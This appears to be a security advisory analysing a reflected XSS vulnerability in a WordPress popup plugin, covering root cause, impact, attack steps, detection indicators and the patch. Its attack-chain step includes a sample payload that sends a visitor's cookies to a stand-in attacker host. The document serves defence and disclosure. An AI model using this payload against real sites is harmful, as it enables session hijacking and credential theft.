CVE-2026-77115: 
WordPress vulnerability analysis and mitigation

CVE-2026-77115 is an unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in the Brave Popup Builder WordPress plugin (brave-popup-builder) affecting all versions up to and including 0.8.5. The vulnerability arises from UTM query parameters being reflected into popup form HTML without proper escaping. It was publicly disclosed on August 21, 2026, and assigned a CVSS score of 7.1 (High) by WPScan. The fixed version is 0.8.6 (WPScan, GitHub Advisory).

The root cause is improper neutralization of user-controlled input in HTML output (CWE-79). When a popup form field is configured with defaultType = "utm", the plugin retrieves the corresponding $_GET value from the URL query string and prints it directly into the rendered HTML without applying any escaping functions such as esc_attr(), esc_html(), or esc_textarea(). The vulnerable code is located in lib/frontend/Form.php, specifically in the renderInput() function (around line 408), renderHidden() (lines 442–456), and renderTextarea() (lines 475–484). An attacker crafts a malicious URL containing a weaponized utm_* parameter; when a victim visits a page hosting a published popup with a UTM field, the payload executes in their browser without any authentication required (WPScan).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any user who visits a crafted URL on a site running the vulnerable plugin. This can lead to session hijacking, credential theft, phishing overlays, or redirection to malicious sites. If a logged-in administrator clicks such a link, the attacker could leverage the elevated session to perform privileged actions on the WordPress site, including installing malicious plugins or creating rogue admin accounts (WPScan, GitHub Advisory).

No public proof-of-concept exploit code is currently available; WPScan has indicated the PoC will be published on September 21, 2026, to allow time for users to update. There is no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability is exploitable by unauthenticated attackers, requiring only that a victim visit a crafted URL on a site with an affected popup containing a UTM field (WPScan, GitHub Advisory).

1. Reconnaissance: Identify WordPress sites using the Brave Popup Builder plugin (versions ≤ 0.8.5) via passive techniques such as checking readme.txt or plugin asset paths, or using tools like WPScan against target sites.
2. Identify vulnerable popup: Confirm that the target site has a published popup containing a form field configured with defaultType = "utm" (e.g., a UTM tracking field for utm_source, utm_medium, etc.).
3. Craft malicious URL: Construct a URL pointing to a page on the target site that loads the vulnerable popup, appending a malicious utm_* parameter containing an XSS payload, e.g., https://victim-site.com/landing-page/?utm_source=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the link: Send the crafted URL to the target victim via phishing email, social media, or other social engineering channels.
5. Payload execution: When the victim opens the link, the page renders the popup form, and the unescaped UTM parameter value is injected directly into the HTML, causing the browser to execute the attacker's JavaScript in the context of the victim's session on the target site (WPScan).

• Network: HTTP requests to WordPress pages containing utm_source, utm_medium, utm_campaign, or other UTM parameters with HTML/JavaScript content (e.g., <script>, onerror=, javascript:) in the query string; outbound connections from victim browsers to unknown attacker-controlled domains shortly after visiting such URLs.
• Logs: Web server access logs showing GET requests to pages hosting Brave Popup Builder popups with encoded or raw XSS payloads in UTM query parameters (e.g., utm_source=%3Cscript%3E).
• File System: No file-system artifacts expected for reflected XSS; however, if an admin session is hijacked, look for newly created WordPress admin accounts, newly installed plugins, or modified theme files.
• Process/Application: Unexpected WordPress admin actions (plugin installs, user creation) correlated in time with suspicious UTM-parameter-laden requests in access logs.

The vendor has released version 0.8.6 of the Brave Popup Builder plugin, which addresses this vulnerability by properly escaping UTM parameter values before rendering them in HTML. Site administrators should update the plugin to version 0.8.6 or later immediately via the WordPress plugin dashboard. As a temporary workaround, disabling or unpublishing any popups that use form fields with defaultType = "utm" will prevent exploitation until the update can be applied (WPScan, GitHub Advisory).

The vulnerability was discovered and responsibly disclosed by security researcher Huseyin Mertoglu, who submitted it to WPScan. WPScan verified the report and coordinated disclosure, with the PoC withheld until September 21, 2026, to allow users time to update. No significant broader media coverage or notable community commentary has been observed beyond standard vulnerability database aggregation (WPScan).